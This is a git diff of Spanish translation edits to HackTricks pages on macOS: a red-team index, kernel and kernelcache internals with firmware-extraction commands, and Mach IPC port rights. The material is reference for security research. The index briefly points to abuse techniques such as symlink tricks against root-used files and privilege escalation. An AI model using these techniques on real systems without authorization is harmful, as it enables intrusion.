## Conceptos Básicos de MacOS
|
||||
|
||||
Si no estás familiarizado con macOS, deberías comenzar aprendiendo los conceptos básicos de macOS:
|
||||
|
||||
|
@ -51,7 +52,7 @@ Si no estás familiarizado con macOS, deberías comenzar aprendiendo los concept
|
|||
[macos-applefs.md](macos-applefs.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* La **arquitectura** del **núcleo**
|
||||
* La **arquitectura** del **kernel**
|
||||
|
||||
{% content-ref url="mac-os-architecture/" %}
|
||||
[mac-os-architecture](mac-os-architecture/)
|
||||
|
@ -68,7 +69,7 @@ Si no estás familiarizado con macOS, deberías comenzar aprendiendo los concept
|
|||
|
||||
### MDM en macOS
|
||||
|
||||
En las empresas, los sistemas **macOS** probablemente estén **gestionados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona eso**:
|
||||
En las empresas, los sistemas macOS probablemente estén **gestionados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona**:
|
||||
|
||||
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
||||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
|
@ -100,15 +101,15 @@ Esto podría ocurrir en las siguientes situaciones:
|
|||
|
||||
Poder **crear un archivo** que va a ser **utilizado por root**, permite a un usuario **aprovechar su contenido** o incluso crear **enlaces simbólicos/duros** para apuntarlo a otro lugar.
|
||||
|
||||
Para este tipo de vulnerabilidades, no olvides **verificar los instaladores `.pkg` vulnerables**:
|
||||
Para este tipo de vulnerabilidades, no olvides revisar los **instaladores `.pkg` vulnerables**:
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
|
||||
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Extensión de Archivos y manipuladores de aplicaciones de esquema de URL
|
||||
### Extensiones de Archivos y manejadores de esquemas de URL de aplicaciones
|
||||
|
||||
Las aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos
|
||||
Las aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos.
|
||||
|
||||
{% content-ref url="macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
|
@ -126,7 +127,7 @@ Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios e
|
|||
|
||||
## Escalada de Privilegios Tradicional en macOS
|
||||
|
||||
Por supuesto, desde la perspectiva de los equipos de red, también deberías estar interesado en escalar a root. Consulta el siguiente post para obtener algunas pistas:
|
||||
Por supuesto, desde la perspectiva de un equipo de red, también deberías estar interesado en escalar a root. Consulta el siguiente post para obtener algunas pistas:
|
||||
|
||||
{% content-ref url="macos-privilege-escalation.md" %}
|
||||
[macos-privilege-escalation.md](macos-privilege-escalation.md)
|
||||
|
@ -141,29 +142,30 @@ Por supuesto, desde la perspectiva de los equipos de red, también deberías est
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Involúcrate con contenido que explora la emoción y los desafíos del hacking
|
||||
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
|
||||
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
|
||||
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Kernel & System Extensions
|
||||
# Arquitectura de macOS Kernel & Extensiones del Sistema
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kernel XNU
|
||||
|
||||
El **núcleo de macOS es XNU**, que significa "X is Not Unix". Este kernel está compuesto fundamentalmente por el **microkernel Mach** (que se discutirá más adelante), **y** elementos de la Distribución de Software de Berkeley (**BSD**). XNU también proporciona una plataforma para **controladores de kernel a través de un sistema llamado I/O Kit**. El kernel XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es libremente accesible**.
|
||||
El **núcleo de macOS es XNU**, que significa "X is Not Unix". Este kernel está compuesto fundamentalmente por el **microkernel Mach** (a discutir más adelante), **y** elementos de la Distribución de Software de Berkeley (**BSD**). XNU también proporciona una plataforma para **controladores de kernel a través de un sistema llamado I/O Kit**. El kernel XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es libremente accesible**.
|
||||
|
||||
Desde la perspectiva de un investigador de seguridad o un desarrollador de Unix, **macOS** puede sentirse bastante **similar** a un sistema **FreeBSD** con una interfaz gráfica elegante y una serie de aplicaciones personalizadas. La mayoría de las aplicaciones desarrolladas para BSD se compilarán y ejecutarán en macOS sin necesidad de modificaciones, ya que las herramientas de línea de comandos familiares para los usuarios de Unix están presentes en macOS. Sin embargo, debido a que el kernel XNU incorpora Mach, existen algunas diferencias significativas entre un sistema similar a Unix tradicional y macOS, y estas diferencias podrían causar problemas potenciales o proporcionar ventajas únicas.
|
||||
|
||||
|
@ -24,9 +25,9 @@ Versión de código abierto de XNU: [https://opensource.apple.com/source/xnu/](h
|
|||
|
||||
### Mach
|
||||
|
||||
Mach es un **microkernel** diseñado para ser **compatible con UNIX**. Uno de sus principios de diseño clave fue **minimizar** la cantidad de **código** que se ejecuta en el **espacio del kernel** y, en su lugar, permitir que muchas funciones típicas del kernel, como el sistema de archivos, la red y la E/S, se **ejecuten como tareas a nivel de usuario**.
|
||||
Mach es un **microkernel** diseñado para ser **compatible con UNIX**. Uno de sus principios de diseño clave fue **minimizar** la cantidad de **código** que se ejecuta en el **espacio del kernel** y en su lugar permitir que muchas funciones típicas del kernel, como el sistema de archivos, la red y la E/S, se **ejecuten como tareas a nivel de usuario**.
|
||||
|
||||
En XNU, Mach es **responsable de muchas de las operaciones críticas de bajo nivel** que típicamente maneja un kernel, como la programación de procesadores, el multitarea y la gestión de memoria virtual.
|
||||
En XNU, Mach es **responsable de muchas de las operaciones críticas de bajo nivel** que típicamente maneja un kernel, como la programación de procesadores, la multitarea y la gestión de memoria virtual.
|
||||
|
||||
### BSD
|
||||
|
||||
|
@ -45,7 +46,7 @@ Además, **Mach y BSD mantienen modelos de seguridad diferentes**: el modelo de
|
|||
|
||||
### I/O Kit - Controladores
|
||||
|
||||
El I/O Kit es un marco de **controladores de dispositivos orientado a objetos de código abierto** en el kernel XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite agregar código modular al kernel sobre la marcha, admitiendo hardware diverso.
|
||||
El I/O Kit es un marco de **controladores de dispositivos orientado a objetos** de código abierto en el kernel XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite agregar código modular al kernel sobre la marcha, admitiendo hardware diverso.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
|
@ -61,19 +62,19 @@ El I/O Kit es un marco de **controladores de dispositivos orientado a objetos de
|
|||
|
||||
El **kernelcache** es una versión **precompilada y preenlazada del kernel XNU**, junto con controladores de dispositivos esenciales y extensiones de kernel. Se almacena en un formato **comprimido** y se descomprime en la memoria durante el proceso de arranque. El kernelcache facilita un **tiempo de arranque más rápido** al tener una versión lista para ejecutarse del kernel y controladores cruciales disponibles, reduciendo el tiempo y los recursos que de otro modo se gastarían en cargar y vincular dinámicamente estos componentes en el momento del arranque.
|
||||
|
||||
En iOS se encuentra en **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** en macOS puedes encontrarlo con **`find / -name kernelcache 2>/dev/null`** o **`mdfind kernelcache | grep kernelcache`**
|
||||
En iOS se encuentra en **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** en macOS se puede encontrar con **`find / -name kernelcache 2>/dev/null`** o **`mdfind kernelcache | grep kernelcache`**
|
||||
|
||||
Es posible ejecutar **`kextstat`** para verificar las extensiones de kernel cargadas.
|
||||
|
||||
#### IMG4
|
||||
|
||||
El formato de archivo IMG4 es un formato de contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de forma segura** componentes de firmware (como **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluida la carga útil real (como un kernel o cargador de arranque), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, lo que permite al dispositivo confirmar la autenticidad e integridad del componente de firmware antes de ejecutarlo.
|
||||
El formato de archivo IMG4 es un formato de contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de forma segura** componentes de firmware (como el **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluida la carga útil real (como un kernel o cargador de arranque), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, lo que permite al dispositivo confirmar la autenticidad e integridad del componente de firmware antes de ejecutarlo.
|
||||
|
||||
Generalmente está compuesto por los siguientes componentes:
|
||||
|
||||
* **Carga útil (IM4P)**:
|
||||
* A menudo comprimido (LZFSE4, LZSS, …)
|
||||
* Opcionalmente encriptado
|
||||
* A menudo comprimido (LZFSE4, LZSS, ...)
|
||||
* Opcionalmente cifrado
|
||||
* **Manifiesto (IM4M)**:
|
||||
* Contiene Firma
|
||||
* Diccionario adicional de Clave/Valor
|
||||
|
@ -83,7 +84,6 @@ Generalmente está compuesto por los siguientes componentes:
|
|||
* OPCIONAL: Por lo general, esto no se encuentra
|
||||
|
||||
Descomprimir el Kernelcache:
|
||||
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
@ -91,7 +91,6 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
#### Símbolos del Kernelcache
|
||||
|
||||
A veces Apple lanza **kernelcache** con **símbolos**. Puedes descargar algunos firmwares con símbolos siguiendo los enlaces en [https://theapplewiki.com](https://theapplewiki.com/).
|
||||
|
@ -99,9 +98,9 @@ A veces Apple lanza **kernelcache** con **símbolos**. Puedes descargar algunos
|
|||
### IPSW
|
||||
|
||||
Estos son **firmwares** de Apple que puedes descargar desde [**https://ipsw.me/**](https://ipsw.me/). Entre otros archivos, contendrá el **kernelcache**.\
|
||||
Para **extraer** los archivos, simplemente puedes **descomprimirlo**.
|
||||
Para **extraer** los archivos simplemente puedes **descomprimirlo**.
|
||||
|
||||
Después de extraer el firmware, obtendrás un archivo como: **`kernelcache.release.iphone14`**. Está en formato **IMG4**, puedes extraer la información interesante con:
|
||||
Después de extraer el firmware obtendrás un archivo como: **`kernelcache.release.iphone14`**. Está en formato **IMG4**, puedes extraer la información interesante con:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
|
@ -112,15 +111,12 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
Puedes verificar los símbolos extraídos del kernelcache con: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
Con esto ahora podemos **extraer todas las extensiones** o la **que te interese:**
|
||||
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
|
@ -133,18 +129,17 @@ kextex_all kernelcache.release.iphone14.e
|
|||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Extensiones del Kernel de macOS
|
||||
|
||||
## Extensiones de Kernel de macOS
|
||||
|
||||
macOS es **súper restrictivo para cargar Extensiones de Kernel** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es virtualmente imposible (a menos que se encuentre un bypass).
|
||||
macOS es **muy restrictivo al cargar Extensiones del Kernel** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es virtualmente imposible (a menos que se encuentre un bypass).
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Extensiones de Sistema de macOS
|
||||
### Extensiones del Sistema de macOS
|
||||
|
||||
En lugar de utilizar Extensiones de Kernel, macOS creó las Extensiones de Sistema, que ofrecen APIs a nivel de usuario para interactuar con el kernel. De esta manera, los desarrolladores pueden evitar el uso de extensiones de kernel.
|
||||
En lugar de utilizar Extensiones del Kernel, macOS creó las Extensiones del Sistema, que ofrecen APIs a nivel de usuario para interactuar con el kernel. De esta manera, los desarrolladores pueden evitar el uso de extensiones del kernel.
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
|
@ -155,16 +150,17 @@ En lugar de utilizar Extensiones de Kernel, macOS creó las Extensiones de Siste
|
|||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS IPC - Comunicación entre Procesos
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Mensajería Mach a través de Puertos
|
||||
|
||||
|
@ -22,33 +23,33 @@ Mach utiliza **tareas** como la **unidad más pequeña** para compartir recursos
|
|||
|
||||
La comunicación entre tareas ocurre a través de la Comunicación entre Procesos de Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el kernel.
|
||||
|
||||
Cada proceso tiene una **tabla IPC**, donde es posible encontrar los **puertos de mach del proceso**. El nombre de un puerto de mach es en realidad un número (un puntero al objeto del kernel).
|
||||
Cada proceso tiene una **tabla IPC**, donde es posible encontrar los **puertos mach del proceso**. El nombre de un puerto mach es en realidad un número (un puntero al objeto del kernel).
|
||||
|
||||
Un proceso también puede enviar un nombre de puerto con algunos derechos **a una tarea diferente** y el kernel hará que esta entrada aparezca en la **tabla IPC de la otra tarea**.
|
||||
Un proceso también puede enviar un nombre de puerto con algunos derechos **a una tarea diferente** y el kernel hará que esta entrada en la **tabla IPC de la otra tarea** aparezca.
|
||||
|
||||
### Derechos de Puerto
|
||||
|
||||
Los derechos de puerto, que definen qué operaciones puede realizar una tarea, son clave en esta comunicación. Los posibles **derechos de puerto** son ([definiciones desde aquí](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Derecho de Recepción**, que permite recibir mensajes enviados al puerto. Los puertos de Mach son colas MPSC (múltiples productores, un solo consumidor), lo que significa que solo puede haber **un derecho de recepción para cada puerto** en todo el sistema (a diferencia de las tuberías, donde varios procesos pueden tener descriptores de archivo al extremo de lectura de una tubería).
|
||||
* **Derecho de Recepción**, que permite recibir mensajes enviados al puerto. Los puertos Mach son colas MPSC (múltiples productores, un solo consumidor), lo que significa que solo puede haber **un derecho de recepción para cada puerto** en todo el sistema (a diferencia de las tuberías, donde varios procesos pueden tener descriptores de archivo al extremo de lectura de una tubería).
|
||||
* Una **tarea con el Derecho de Recepción** puede recibir mensajes y **crear Derechos de Envío**, lo que le permite enviar mensajes. Originalmente solo la **propia tarea tiene el Derecho de Recepción sobre su puerto**.
|
||||
* **Derecho de Envío**, que permite enviar mensajes al puerto.
|
||||
* El Derecho de Envío se puede **clonar** para que una tarea que posee un Derecho de Envío pueda clonar el derecho y **concedérselo a una tercera tarea**.
|
||||
* **Derecho de Envío-una-vez**, que permite enviar un mensaje al puerto y luego desaparece.
|
||||
* **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden utilizar para escuchar en varios puertos simultáneamente, de manera similar a `select`/`poll`/`epoll`/`kqueue` en Unix.
|
||||
* **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden utilizar para escuchar varios puertos simultáneamente, de manera similar a `select`/`poll`/`epoll`/`kqueue` en Unix.
|
||||
* **Nombre muerto**, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando se destruye un puerto, todos los derechos de puerto existentes para el puerto se convierten en nombres muertos.
|
||||
|
||||
**Las tareas pueden transferir DERECHOS DE ENVÍO a otros**, lo que les permite enviar mensajes de vuelta. **Los DERECHOS DE ENVÍO también se pueden clonar, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermedio conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.
|
||||
|
||||
### Puertos de Archivo
|
||||
|
||||
Los puertos de archivo permiten encapsular descriptores de archivo en puertos de Mac (usando derechos de puerto de Mach). Es posible crear un `fileport` a partir de un FD dado usando `fileport_makeport` y crear un FD a partir de un fileport usando `fileport_makefd`.
|
||||
Los puertos de archivo permiten encapsular descriptores de archivo en puertos Mac (usando derechos de puerto Mach). Es posible crear un `fileport` a partir de un FD dado usando `fileport_makeport` y crear un FD a partir de un fileport usando `fileport_makefd`.
|
||||
|
||||
### Estableciendo una comunicación
|
||||
|
||||
#### Pasos:
|
||||
|
||||
Como se mencionó, para establecer el canal de comunicación, está involucrado el **servidor de arranque** (**launchd** en Mac).
|
||||
Como se menciona, para establecer el canal de comunicación, el **servidor de arranque** (**launchd** en Mac) está involucrado.
|
||||
|
||||
1. La tarea **A** inicia un **nuevo puerto**, obteniendo un **derecho de RECEPCIÓN** en el proceso.
|
||||
2. La tarea **A**, siendo la titular del derecho de RECEPCIÓN, **genera un derecho de ENVÍO para el puerto**.
|
||||
|
@ -65,17 +66,17 @@ Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente
|
|||
|
||||
* La tarea **B** inicia una **búsqueda de arranque** para un nombre de servicio.
|
||||
* **launchd** verifica si la tarea se está ejecutando y si no lo está, la **inicia**.
|
||||
* La tarea **A** (el servicio) realiza un **registro de arranque**. Aquí, el **servidor de arranque crea un derecho de ENVÍO, lo retiene y transfiere el derecho de RECEPCIÓN a la tarea A**.
|
||||
* La tarea **A** (el servicio) realiza un **registro de arranque**. Aquí, el **servidor de arranque crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**.
|
||||
* launchd duplica el **derecho de ENVÍO y lo envía a la tarea B**.
|
||||
* La tarea **B** genera un nuevo puerto con un **derecho de RECEPCIÓN** y un **derecho de ENVÍO**, y le da el **derecho de ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
|
||||
|
||||
Sin embargo, este proceso solo se aplica a las tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación.
|
||||
Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describe originalmente, lo que podría permitir potencialmente la suplantación.
|
||||
|
||||
### Un Mensaje Mach
|
||||
|
||||
[Encuentra más información aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
